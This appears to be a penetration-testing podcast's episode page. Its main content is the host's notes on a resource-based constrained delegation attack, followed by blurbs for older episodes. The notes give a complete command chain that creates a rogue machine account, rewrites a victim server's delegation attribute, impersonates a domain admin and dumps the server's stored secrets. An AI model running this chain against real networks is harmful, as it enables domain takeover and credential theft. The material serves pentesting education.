7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

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Avsnitt(682)

7MS #34: The Hacker Playbook (audio)

7MS #34: The Hacker Playbook (audio)

I found a great bit of reading that walks you through the “plays” of hacking – enumeration, exploitation, post-exploitation, etc. It’s a great (and affordable) book called The Hacker Playbook. Cheggitowt! Download: 7MS #34: The Hacker Playbook (audio)

14 Nov 20147min

7MS #33: ProXPN (audio)

7MS #33: ProXPN (audio)

This episode’s all about a cool product called ProXPN that I use to encrypt/anonymize my traffic for various reasons. Not a sponsored episode or anything like that, but I am a fan of this service :-). Download: 7MS #33: ProXPN (audio)

7 Nov 20147min

7MS #32: OSCP – part 3 (audio)

7MS #32: OSCP – part 3 (audio)

Been a while since I shared an update on OSCP progress. It’s going good but…slow. However, I do have one (maybe obvious) tip to share that I hope will save you a ton of time. Download: 7MS #32: OSCP – part 3 (audio)

1 Nov 20147min

7MS #31: Network Detective (audio)

7MS #31: Network Detective (audio)

Network Detective is a tool we’ve been using as kind of an addendum to our full security assessment. It gives some nice, plain-English Excel spreadsheets and Word docs that report on AD health and structure, PC inventory and open ports, AV clients that aren’t working right, and a whole lot more. Download: 7MS #31: Network Detective…

25 Okt 20147min

7MS #30: Managing Privileged Accounts (audio)

7MS #30: Managing Privileged Accounts (audio)

Most organizations I talk to have no idea where their privileged accounts are used across the network. I recently saw a demo of a solution called CyberArk, which seems to address that problem. Download: 7MS #30: Managing Privileged Accounts (audio)

18 Okt 20147min

7MS #29: Follow Up Then (audio)

7MS #29: Follow Up Then (audio)

This isn’t necessarily related to security, but it’s about one of my favorite tools to keep my todos organized: FollowUp Then! Download: 7MS #29: Follow Up Then (audio)

11 Okt 20147min

7MS #28: Infosec for Kids? (audio)

7MS #28: Infosec for Kids? (audio)

This is more of a random, wondering aloud type of episode as I think about raising my kids with infosec in mind. Specifically, what’s life going to be like for them growing up in an Internet-soaked world where there are constantly text/video/photos of them going online – to stay forever? Download: 7MS #28: Infosec for Kids?…

27 Sep 20147min

7MS #27: Backing Up with CrashPlan (audio)

7MS #27: Backing Up with CrashPlan (audio)

Hey, when it comes to backups…uh…you should have them! This is a NON-endorsed/sponsored episode about my personal favorite backup service called CrashPlan. Download: 7MS #27: Backing Up with Crashplan (audio)

20 Sep 20147min

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